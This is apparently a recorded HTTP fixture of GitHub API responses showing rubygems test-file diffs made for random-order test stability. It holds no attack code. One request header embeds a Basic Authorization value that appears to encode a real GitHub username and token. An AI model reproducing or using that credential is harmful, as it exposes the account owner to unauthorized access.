C:\\Ruby200-x64\\lib\\ruby\\gems\\2.0.0\n-- C:\\Ruby21\\lib\\ruby\\gems\\2.1.0\n-- C:\\Ruby21-x64\\lib\\ruby\\gems\\2.1.0\n-- C:\\Ruby22\\lib\\ruby\\gems\\2.2.0\n-- C:\\Ruby22-x64\\lib\\ruby\\gems\\2.2.0\n-- C:\\Ruby23-x64\\lib\\ruby\\gems\\2.3.0\n-- C:\\Ruby24-x64\\lib\\ruby\\gems\\2.4.0\n+matrix:\n+ allow_failures:\n+ - ruby_version: _trunk\n \n build: off\n-test_script:\n-- rake -rdevkit test\n-on_finish:\n-- ruby -v\n deploy: off"},{"sha":"6542cab5993e2242fe3031f6d1897e21dd10fb45","filename":"test/rubygems/test_gem_commands_help_command.rb","status":"modified","additions":5,"deletions":2,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_commands_help_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_commands_help_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_help_command.rb?ref=514f1da96bbd3cbf88eb86117adc881ff89c79f5","patch":"@@ -7,13 +7,16 @@\n require File.expand_path(''../rubygems_plugin'', __FILE__)\n \n class TestGemCommandsHelpCommand < Gem::TestCase\n+ # previously this was calc''d in setup, but 1.8.7 had\n+ # intermittent failures, but no issues with above require\n+ PLUGIN = File.expand_path(''../rubygems_plugin.rb'', __FILE__)\n+\n def setup\n super\n \n @cmd = Gem::Commands::HelpCommand.new\n \n- load File.expand_path(''../rubygems_plugin.rb'', __FILE__) unless\n- Gem::Commands.const_defined? :InterruptCommand\n+ load PLUGIN unless Gem::Commands.const_defined? :InterruptCommand\n end\n \n def test_gem_help_bad"},{"sha":"52ed4d23a7a74753358e5197c2d0374f4aac6f95","filename":"test/rubygems/test_gem_commands_owner_command.rb","status":"modified","additions":57,"deletions":55,"changes":112,"blob_url":"https://github.com/rubygems/rubygems/blob/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_commands_owner_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_commands_owner_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_owner_command.rb?ref=514f1da96bbd3cbf88eb86117adc881ff89c79f5","patch":"@@ -8,8 +8,10 @@ def setup\n super\n \n ENV[\"RUBYGEMS_HOST\"] = nil\n- @fetcher = Gem::FakeFetcher.new\n- Gem::RemoteFetcher.fetcher = @fetcher\n+ @stub_ui = Gem::MockGemUi.new\n+ @stub_fetcher = Gem::FakeFetcher.new\n+ Gem::RemoteFetcher.fetcher = @stub_fetcher\n+ Gem.configuration = nil\n Gem.configuration.rubygems_api_key = \"ed244fbf2b1a52e012da8616c512fa47f9aa5250\"\n \n @cmd = Gem::Commands::OwnerCommand.new\n@@ -27,68 +29,68 @@ def test_show_owners\n - id: 4\n EOF\n \n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.show_owners(\"freewill\")\n end\n \n- assert_equal Net::HTTP::Get, @fetcher.last_request.class\n- assert_equal Gem.configuration.rubygems_api_key, @fetcher.last_request[\"Authorization\"]\n+ assert_equal Net::HTTP::Get, @stub_fetcher.last_request.class\n+ assert_equal Gem.configuration.rubygems_api_key, @stub_fetcher.last_request[\"Authorization\"]\n \n- assert_match %r{Owners for gem: freewill}, @ui.output\n- assert_match %r{- user1@example.com}, @ui.output\n- assert_match %r{- user2@example.com}, @ui.output\n- assert_match %r{- user3}, @ui.output\n- assert_match %r{- 4}, @ui.output\n+ assert_match %r{Owners for gem: freewill}, @stub_ui.output\n+ assert_match %r{- user1@example.com}, @stub_ui.output\n+ assert_match %r{- user2@example.com}, @stub_ui.output\n+ assert_match %r{- user3}, @stub_ui.output\n+ assert_match %r{- 4}, @stub_ui.output\n end\n \n def test_show_owners_setting_up_host_through_env_var\n response = \"- email: user1@example.com\\n\"\n host = \"http://rubygems.example\"\n ENV[\"RUBYGEMS_HOST\"] = host\n \n- @fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.show_owners(\"freewill\")\n end\n \n- assert_match %r{Owners for gem: freewill}, @ui.output\n- assert_match %r{- user1@example.com}, @ui.output\n+ assert_match %r{Owners for gem: freewill}, @stub_ui.output\n+ assert_match %r{- user1@example.com}, @stub_ui.output\n end\n \n def test_show_owners_setting_up_host\n response = \"- email: user1@example.com\\n\"\n host = \"http://rubygems.example\"\n @cmd.host = host\n \n- @fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.show_owners(\"freewill\")\n end\n \n- assert_match %r{Owners for gem: freewill}, @ui.output\n- assert_match %r{- user1@example.com}, @ui.output\n+ assert_match %r{Owners for gem: freewill}, @stub_ui.output\n+ assert_match %r{- user1@example.com}, @stub_ui.output\n end\n \n def test_show_owners_denied\n response = \"You don''t have permission to push to this gem\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 403, ''Forbidden'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 403, ''Forbidden'']\n \n assert_raises Gem::MockGemUi::TermError do\n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.show_owners(\"freewill\")\n end\n end\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_show_owners_key\n response = \"- email: user1@example.com\\n\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n File.open Gem.configuration.credentials_path, ''a'' do |f|\n f.write '':other: 701229f217cdf23b1344c7b4b54ca97''\n end\n@@ -97,56 +99,56 @@ def test_show_owners_key\n @cmd.handle_options %w(-k other)\n @cmd.show_owners(''freewill'')\n \n- assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @fetcher.last_request[''Authorization'']\n+ assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @stub_fetcher.last_request[''Authorization'']\n end\n \n def test_add_owners\n response = \"Owner added successfully.\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.add_owners(\"freewill\", [\"user-new1@example.com\"])\n end\n \n- assert_equal Net::HTTP::Post, @fetcher.last_request.class\n- assert_equal Gem.configuration.rubygems_api_key, @fetcher.last_request[\"Authorization\"]\n- assert_equal \"email=user-new1%40example.com\", @fetcher.last_request.body\n+ assert_equal Net::HTTP::Post, @stub_fetcher.last_request.class\n+ assert_equal Gem.configuration.rubygems_api_key, @stub_fetcher.last_request[\"Authorization\"]\n+ assert_equal \"email=user-new1%40example.com\", @stub_fetcher.last_request.body\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_add_owners_denied\n response = \"You don''t have permission to push to this gem\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 403, ''Forbidden'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 403, ''Forbidden'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.add_owners(\"freewill\", [\"user-new1@example.com\"])\n end\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_add_owner_with_host_option_through_execute\n host = \"http://rubygems.example\"\n add_owner_response = \"Owner added successfully.\"\n show_owners_response = \"- email: user1@example.com\\n\"\n- @fetcher.data[\"#{host}/api/v1/gems/freewill/owners\"] = [add_owner_response, 200, ''OK'']\n- @fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [show_owners_response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{host}/api/v1/gems/freewill/owners\"] = [add_owner_response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [show_owners_response, 200, ''OK'']\n \n @cmd.handle_options %W[--host #{host} --add user-new1@example.com freewill]\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.execute\n end\n \n- assert_match add_owner_response, @ui.output\n- assert_match %r{Owners for gem: freewill}, @ui.output\n- assert_match %r{- user1@example.com}, @ui.output\n+ assert_match add_owner_response, @stub_ui.output\n+ assert_match %r{Owners for gem: freewill}, @stub_ui.output\n+ assert_match %r{- user1@example.com}, @stub_ui.output\n end\n \n def test_add_owners_key\n response = \"Owner added successfully.\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n File.open Gem.configuration.credentials_path, ''a'' do |f|\n f.write '':other: 701229f217cdf23b1344c7b4b54ca97''\n end\n@@ -155,38 +157,38 @@ def test_add_owners_key\n @cmd.handle_options %w(-k other)\n @cmd.add_owners(''freewill'', [''user-new1@example.com''])\n \n- assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @fetcher.last_request[''Authorization'']\n+ assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @stub_fetcher.last_request[''Authorization'']\n end\n \n def test_remove_owners\n response = \"Owner removed successfully.\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.remove_owners(\"freewill\", [\"user-remove1@example.com\"])\n end\n \n- assert_equal Net::HTTP::Delete, @fetcher.last_request.class\n- assert_equal Gem.configuration.rubygems_api_key, @fetcher.last_request[\"Authorization\"]\n- assert_equal \"email=user-remove1%40example.com\", @fetcher.last_request.body\n+ assert_equal Net::HTTP::Delete, @stub_fetcher.last_request.class\n+ assert_equal Gem.configuration.rubygems_api_key, @stub_fetcher.last_request[\"Authorization\"]\n+ assert_equal \"email=user-remove1%40example.com\", @stub_fetcher.last_request.body\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_remove_owners_denied\n response = \"You don''t have permission to push to this gem\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 403, ''Forbidden'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 403, ''Forbidden'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.remove_owners(\"freewill\", [\"user-remove1@example.com\"])\n end\n \n- assert_match response, @ui.output\n+ assert_match response, @stub_ui.output\n end\n \n def test_remove_owners_key\n response = \"Owner removed successfully.\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 200, ''OK'']\n File.open Gem.configuration.credentials_path, ''a'' do |f|\n f.write '':other: 701229f217cdf23b1344c7b4b54ca97''\n end\n@@ -195,18 +197,18 @@ def test_remove_owners_key\n @cmd.handle_options %w(-k other)\n @cmd.remove_owners(''freewill'', [''user-remove1@example.com''])\n \n- assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @fetcher.last_request[''Authorization'']\n+ assert_equal ''701229f217cdf23b1344c7b4b54ca97'', @stub_fetcher.last_request[''Authorization'']\n end\n \n def test_remove_owners_missing\n response = ''Owner could not be found.''\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 404, ''Not Found'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners\"] = [response, 404, ''Not Found'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.remove_owners(\"freewill\", [\"missing@example\"])\n end\n \n- assert_equal \"Removing missing@example: #{response}\\n\", @ui.output\n+ assert_equal \"Removing missing@example: #{response}\\n\", @stub_ui.output\n end\n \n end"},{"sha":"ede459600dbb711526db99c5a02f200804d22815","filename":"test/rubygems/test_gem_gemcutter_utilities.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_gemcutter_utilities.rb","raw_url":"https://github.com/rubygems/rubygems/raw/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_gemcutter_utilities.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_gemcutter_utilities.rb?ref=514f1da96bbd3cbf88eb86117adc881ff89c79f5","patch":"@@ -8,6 +8,8 @@ class TestGemGemcutterUtilities < Gem::TestCase\n \n def setup\n super\n+ # below needed for random testing, class property\n+ Gem.configuration.disable_default_gem_server = nil\n \n ENV[''RUBYGEMS_HOST''] = nil\n Gem.configuration.rubygems_api_key = nil"},{"sha":"8ee469f90709f2986de074320ccf64e4bf31c347","filename":"test/rubygems/test_gem_local_remote_options.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_local_remote_options.rb","raw_url":"https://github.com/rubygems/rubygems/raw/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_local_remote_options.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_local_remote_options.rb?ref=514f1da96bbd3cbf88eb86117adc881ff89c79f5","patch":"@@ -44,8 +44,9 @@ def test_clear_sources_option_idiot_proof\n spec_fetcher\n \n @cmd.add_local_remote_options\n+ Gem.configuration.sources = nil\n @cmd.handle_options %W[--clear-sources]\n- assert_equal Gem.default_sources, Gem.sources\n+ assert_equal Gem.default_sources, Gem.sources.to_a\n end\n \n def test_local_eh"},{"sha":"4aba4e7c403250d5546923a9b0d58817944a8ebb","filename":"test/rubygems/test_gem_remote_fetcher.rb","status":"modified","additions":11,"deletions":11,"changes":22,"blob_url":"https://github.com/rubygems/rubygems/blob/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_remote_fetcher.rb","raw_url":"https://github.com/rubygems/rubygems/raw/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_remote_fetcher.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_remote_fetcher.rb?ref=514f1da96bbd3cbf88eb86117adc881ff89c79f5","patch":"@@ -118,7 +118,7 @@ def setup\n @a1.loaded_from = File.join(@gemhome, ''specifications'', @a1.full_name)\n \n Gem::RemoteFetcher.fetcher = nil\n-\n+ @stub_ui = Gem::MockGemUi.new\n @fetcher = Gem::RemoteFetcher.fetcher\n end\n \n@@ -175,7 +175,7 @@ def fetcher.request(uri, request_class, last_modified = nil)\n end\n \n def test_no_proxy\n- use_ui @ui do\n+ use_ui @stub_ui do\n assert_data_from_server @fetcher.fetch_path(@server_uri)\n assert_equal SERVER_DATA.size, @fetcher.fetch_size(@server_uri)\n end\n@@ -267,7 +267,7 @@ def dns.getresource arg, *rest\n fetch = Gem::RemoteFetcher.new nil, dns\n begin\n old_verbose, Gem.configuration.verbose = Gem.configuration.verbose, 1\n- endpoint = use_ui @ui do\n+ endpoint = use_ui @stub_ui do\n fetch.api_endpoint(uri)\n end\n ensure\n@@ -276,7 +276,7 @@ def dns.getresource arg, *rest\n \n assert_equal uri, endpoint\n \n- assert_equal \"Getting SRV record failed: timeout!\\n\", @ui.output\n+ assert_equal \"Getting SRV record failed: timeout!\\n\", @stub_ui.output\n \n dns.verify\n end\n@@ -625,7 +625,7 @@ def fetcher.fetch_http(uri, mtime, head = nil)\n end\n \n def test_implicit_no_proxy\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[''http_proxy''] = ''http://fakeurl:12345''\n fetcher = Gem::RemoteFetcher.new :no_proxy\n @fetcher = fetcher\n@@ -634,7 +634,7 @@ def test_implicit_no_proxy\n end\n \n def test_implicit_proxy\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[''http_proxy''] = @proxy_uri\n fetcher = Gem::RemoteFetcher.new nil\n @fetcher = fetcher\n@@ -643,7 +643,7 @@ def test_implicit_proxy\n end\n \n def test_implicit_upper_case_proxy\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[''HTTP_PROXY''] = @proxy_uri\n fetcher = Gem::RemoteFetcher.new nil\n @fetcher = fetcher\n@@ -652,7 +652,7 @@ def test_implicit_upper_case_proxy\n end\n \n def test_implicit_proxy_no_env\n- use_ui @ui do\n+ use_ui @stub_ui do\n fetcher = Gem::RemoteFetcher.new nil\n @fetcher = fetcher\n assert_data_from_server fetcher.fetch_path(@server_uri)\n@@ -764,7 +764,7 @@ def test_fetch_s3_no_creds\n end\n \n def test_observe_no_proxy_env_single_host\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[\"http_proxy\"] = @proxy_uri\n ENV[\"no_proxy\"] = URI::parse(@server_uri).host\n fetcher = Gem::RemoteFetcher.new nil\n@@ -774,7 +774,7 @@ def test_observe_no_proxy_env_single_host\n end\n \n def test_observe_no_proxy_env_list\n- use_ui @ui do\n+ use_ui @stub_ui do\n ENV[\"http_proxy\"] = @proxy_uri\n ENV[\"no_proxy\"] = \"fakeurl.com, #{URI::parse(@server_uri).host}\"\n fetcher = Gem::RemoteFetcher.new nil\n@@ -796,7 +796,7 @@ def test_request_block\n end\n \n def test_yaml_error_on_size\n- use_ui @ui do\n+ use_ui @stub_ui do\n self.class.enable_yaml = false\n fetcher = Gem::RemoteFetcher.new nil\n @fetcher = fetcher"},{"sha":"c49b07bac6bbd175f684b10f5c4a96a4e3f2174a","filename":"test/rubygems/test_gem_uninstaller.rb","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_uninstaller.rb","raw_url":"https://github.com/rubygems/rubygems/raw/514f1da96bbd3cbf88eb86117adc881ff89c79f5/test/rubygems/test_gem_uninstaller.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_uninstaller.rb?ref=514f1da96bbd3cbf88eb86117adc881ff89c79f5","patch":"@@ -177,10 +177,12 @@ def test_uninstall\n gem_dir = File.join @gemhome, ''gems'', @spec.full_name\n \n Gem.pre_uninstall do\n+ sleep(0.1) if win_platform?\n assert File.exist?(gem_dir), ''gem_dir should exist''\n end\n \n Gem.post_uninstall do\n+ sleep(0.1) if win_platform?\n refute File.exist?(gem_dir), ''gem_dir should not exist''\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:37 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/4ced51dd8753307deda1dda71dd2f77cb9ef02ee body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4606' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"9e27417abf3ee24bf67250403ef7d067" Last-Modified: - Wed, 27 Dec 2017 01:25:24 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046736' X-Github-Request-Id: - C43E:4D95:F478FE:1C82D50:5A50E459 body: encoding: ASCII-8BIT string: '{"sha":"4ced51dd8753307deda1dda71dd2f77cb9ef02ee","commit":{"author":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-26T20:57:02Z"},"committer":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-27T01:25:24Z"},"message":"Update test files for stability when run random","tree":{"sha":"7e9f9976eb55d3cfc93bfd64096e4a06d05fb506","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7e9f9976eb55d3cfc93bfd64096e4a06d05fb506"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4ced51dd8753307deda1dda71dd2f77cb9ef02ee","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4ced51dd8753307deda1dda71dd2f77cb9ef02ee","html_url":"https://github.com/rubygems/rubygems/commit/4ced51dd8753307deda1dda71dd2f77cb9ef02ee","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"50b6501e8e229503674c0957aac5157b764a58be","url":"https://api.github.com/repos/rubygems/rubygems/commits/50b6501e8e229503674c0957aac5157b764a58be","html_url":"https://github.com/rubygems/rubygems/commit/50b6501e8e229503674c0957aac5157b764a58be"}],"stats":{"total":148,"additions":79,"deletions":69},"files":[{"sha":"6542cab5993e2242fe3031f6d1897e21dd10fb45","filename":"test/rubygems/test_gem_commands_help_command.rb","status":"modified","additions":5,"deletions":2,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_commands_help_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_commands_help_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_help_command.rb?ref=4ced51dd8753307deda1dda71dd2f77cb9ef02ee","patch":"@@ -7,13 +7,16 @@\n require File.expand_path(''../rubygems_plugin'', __FILE__)\n \n class TestGemCommandsHelpCommand < Gem::TestCase\n+ # previously this was calc''d in setup, but 1.8.7 had\n+ # intermittent failures, but no issues with above require\n+ PLUGIN = File.expand_path(''../rubygems_plugin.rb'', __FILE__)\n+\n def setup\n super\n \n @cmd = Gem::Commands::HelpCommand.new\n \n- load File.expand_path(''../rubygems_plugin.rb'', __FILE__) unless\n- Gem::Commands.const_defined? :InterruptCommand\n+ load PLUGIN unless Gem::Commands.const_defined? :InterruptCommand\n end\n \n def test_gem_help_bad"},{"sha":"52ed4d23a7a74753358e5197c2d0374f4aac6f95","filename":"test/rubygems/test_gem_commands_owner_command.rb","status":"modified","additions":57,"deletions":55,"changes":112,"blob_url":"https://github.com/rubygems/rubygems/blob/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_commands_owner_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/4ced51dd8753307deda1dda71dd2f77cb9ef02ee/test/rubygems/test_gem_commands_owner_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_owner_command.rb?ref=4ced51dd8753307deda1dda71dd2f77cb9ef02ee","patch":"@@ -8,8 +8,10 @@ def setup\n super\n \n ENV[\"RUBYGEMS_HOST\"] = nil\n- @fetcher = Gem::FakeFetcher.new\n- Gem::RemoteFetcher.fetcher = @fetcher\n+ @stub_ui = Gem::MockGemUi.new\n+ @stub_fetcher = Gem::FakeFetcher.new\n+ Gem::RemoteFetcher.fetcher = @stub_fetcher\n+ Gem.configuration = nil\n Gem.configuration.rubygems_api_key = \"ed244fbf2b1a52e012da8616c512fa47f9aa5250\"\n \n @cmd = Gem::Commands::OwnerCommand.new\n@@ -27,68 +29,68 @@ def test_show_owners\n - id: 4\n EOF\n \n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.show_owners(\"freewill\")\n end\n \n- assert_equal Net::HTTP::Get, @fetcher.last_request.class\n- assert_equal Gem.configuration.rubygems_api_key, @fetcher.last_request[\"Authorization\"]\n+ assert_equal Net::HTTP::Get, @stub_fetcher.last_request.class\n+ assert_equal Gem.configuration.rubygems_api_key, @stub_fetcher.last_request[\"Authorization\"]\n \n- assert_match %r{Owners for gem: freewill}, @ui.output\n- assert_match %r{- user1@example.com}, @ui.output\n- assert_match %r{- user2@example.com}, @ui.output\n- assert_match %r{- user3}, @ui.output\n- assert_match %r{- 4}, @ui.output\n+ assert_match %r{Owners for gem: freewill}, @stub_ui.output\n+ assert_match %r{- user1@example.com}, @stub_ui.output\n+ assert_match %r{- user2@example.com}, @stub_ui.output\n+ assert_match %r{- user3}, @stub_ui.output\n+ assert_match %r{- 4}, @stub_ui.output\n end\n \n def test_show_owners_setting_up_host_through_env_var\n response = \"- email: user1@example.com\\n\"\n host = \"http://rubygems.example\"\n ENV[\"RUBYGEMS_HOST\"] = host\n \n- @fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.show_owners(\"freewill\")\n end\n \n- assert_match %r{Owners for gem: freewill}, @ui.output\n- assert_match %r{- user1@example.com}, @ui.output\n+ assert_match %r{Owners for gem: freewill}, @stub_ui.output\n+ assert_match %r{- user1@example.com}, @stub_ui.output\n end\n \n def test_show_owners_setting_up_host\n response = \"- email: user1@example.com\\n\"\n host = \"http://rubygems.example\"\n @cmd.host = host\n \n- @fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n+ @stub_fetcher.data[\"#{host}/api/v1/gems/freewill/owners.yaml\"] = [response, 200, ''OK'']\n \n- use_ui @ui do\n+ use_ui @stub_ui do\n @cmd.show_owners(\"freewill\")\n end\n \n- assert_match %r{Owners for gem: freewill}, @ui.output\n- assert_match %r{- user1@example.com}, @ui.output\n+ assert_match %r{Owners for gem: freewill}, @stub_ui.output\n+ assert_match %r{- user1@example.com}, @stub_ui.output\n end\n \n def test_show_owners_denied\n response = \"You don''t have permission to push to this gem\"\n- @fetcher.data[\"#{Gem.host}/api/v1/gems/freewill/owners.yaml\"] = [response, 403, ''Forbidden'']\n+ 